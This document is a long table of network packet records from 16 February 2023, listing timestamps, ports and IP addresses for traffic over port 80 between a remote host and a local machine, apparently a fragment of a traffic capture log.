Feb 16, 2023 13:57:19.749759912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749773979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749773979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749785900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749811888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749825001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749825001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749835968 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749862909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749875069 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749876022 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749890089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749916077 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749938965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749938965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749941111 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749970913 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.749984026 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749984980 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.749998093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750025034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750035048 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750035048 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750051975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750077009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750088930 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750088930 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750104904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750130892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750149012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750149012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750155926 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750183105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750191927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750191927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750211000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750236988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750248909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750248909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750263929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750288963 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750302076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750302076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750313997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750341892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750353098 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750353098 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750370026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750396013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750408888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750408888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750422955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750456095 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750459909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750459909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750483036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750509024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750520945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750520945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750535965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750560999 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750571966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750571966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750586987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750612974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750623941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750624895 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750638962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750664949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750678062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750678062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750705004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750732899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750745058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750745058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750758886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750786066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750796080 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750796080 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750813007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750839949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750852108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750852108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750865936 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750891924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750904083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750904083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750917912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750941038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750955105 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750955105 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.750968933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.750994921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751005888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751005888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751020908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751046896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751060009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751060009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751075029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751100063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751112938 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751113892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751127005 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751152992 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751167059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751167059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751179934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751205921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751219988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751219988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751231909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751260996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751270056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751270056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751287937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751312971 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751324892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751324892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751338959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751367092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751377106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751377106 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751393080 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751420021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751446009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751456022 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751456022 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751480103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751506090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751532078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751534939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751534939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751559019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751576900 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751576900 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751585007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751611948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751633883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751633883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751637936 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751667023 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751682043 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751682997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751693010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751720905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751729965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751729965 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751745939 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751770973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751782894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751782894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751796961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751821995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751842976 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751843929 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751847029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751874924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751890898 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751890898 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751900911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751928091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751939058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751939058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751954079 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751980066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.751992941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.751992941 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752006054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752032995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752048969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752048969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752058029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752084017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752096891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752096891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752110004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752136946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752149105 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752149105 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752162933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752191067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752202988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752202988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752217054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752243996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752250910 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752270937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752280951 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752280951 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752310991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752337933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752350092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752350092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752365112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752392054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752403021 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752403021 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752418041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752444029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752463102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752485991 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752485991 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752496958 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752523899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752551079 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752557993 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752557993 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752578974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752604008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752604961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752604961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752630949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752654076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752654076 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752659082 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752686024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752701044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752701044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752712965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752738953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752752066 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752752066 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752763987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752789974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752803087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752803087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752815008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752840996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752852917 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752852917 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752866983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752893925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752906084 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752907038 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752918959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752947092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.752959967 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752959967 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.752973080 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753000021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753012896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753012896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753026962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753053904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753068924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753068924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753081083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753107071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753119946 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753119946 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753134012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753160954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753174067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753174067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753186941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753212929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753225088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753225088 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753238916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753268003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753279924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753279924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753293037 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753319979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753331900 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753331900 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753345966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753371954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753385067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753385067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753396988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753423929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753436089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753436089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753449917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753474951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753489017 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753489017 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753508091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753534079 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753546000 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753546000 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753566027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753592014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753606081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753606081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753619909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753645897 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753659010 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753659010 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753670931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753696918 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753707886 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753707886 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753724098 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753750086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753762960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753762960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753777981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753803015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753815889 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753815889 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753829956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753858089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753868103 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753868103 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753885031 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753910065 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753926039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753926039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753935099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753962040 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.753974915 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753974915 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.753989935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754017115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754029036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754029036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754045010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754071951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754081964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754081964 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754098892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754126072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754137039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754137039 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754153013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754179001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754189968 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754189968 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754204035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754230022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754241943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754241943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754256010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754283905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.754297972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754297972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.754309893 CET	80	49687	23.106.124.133	192.168.2.3
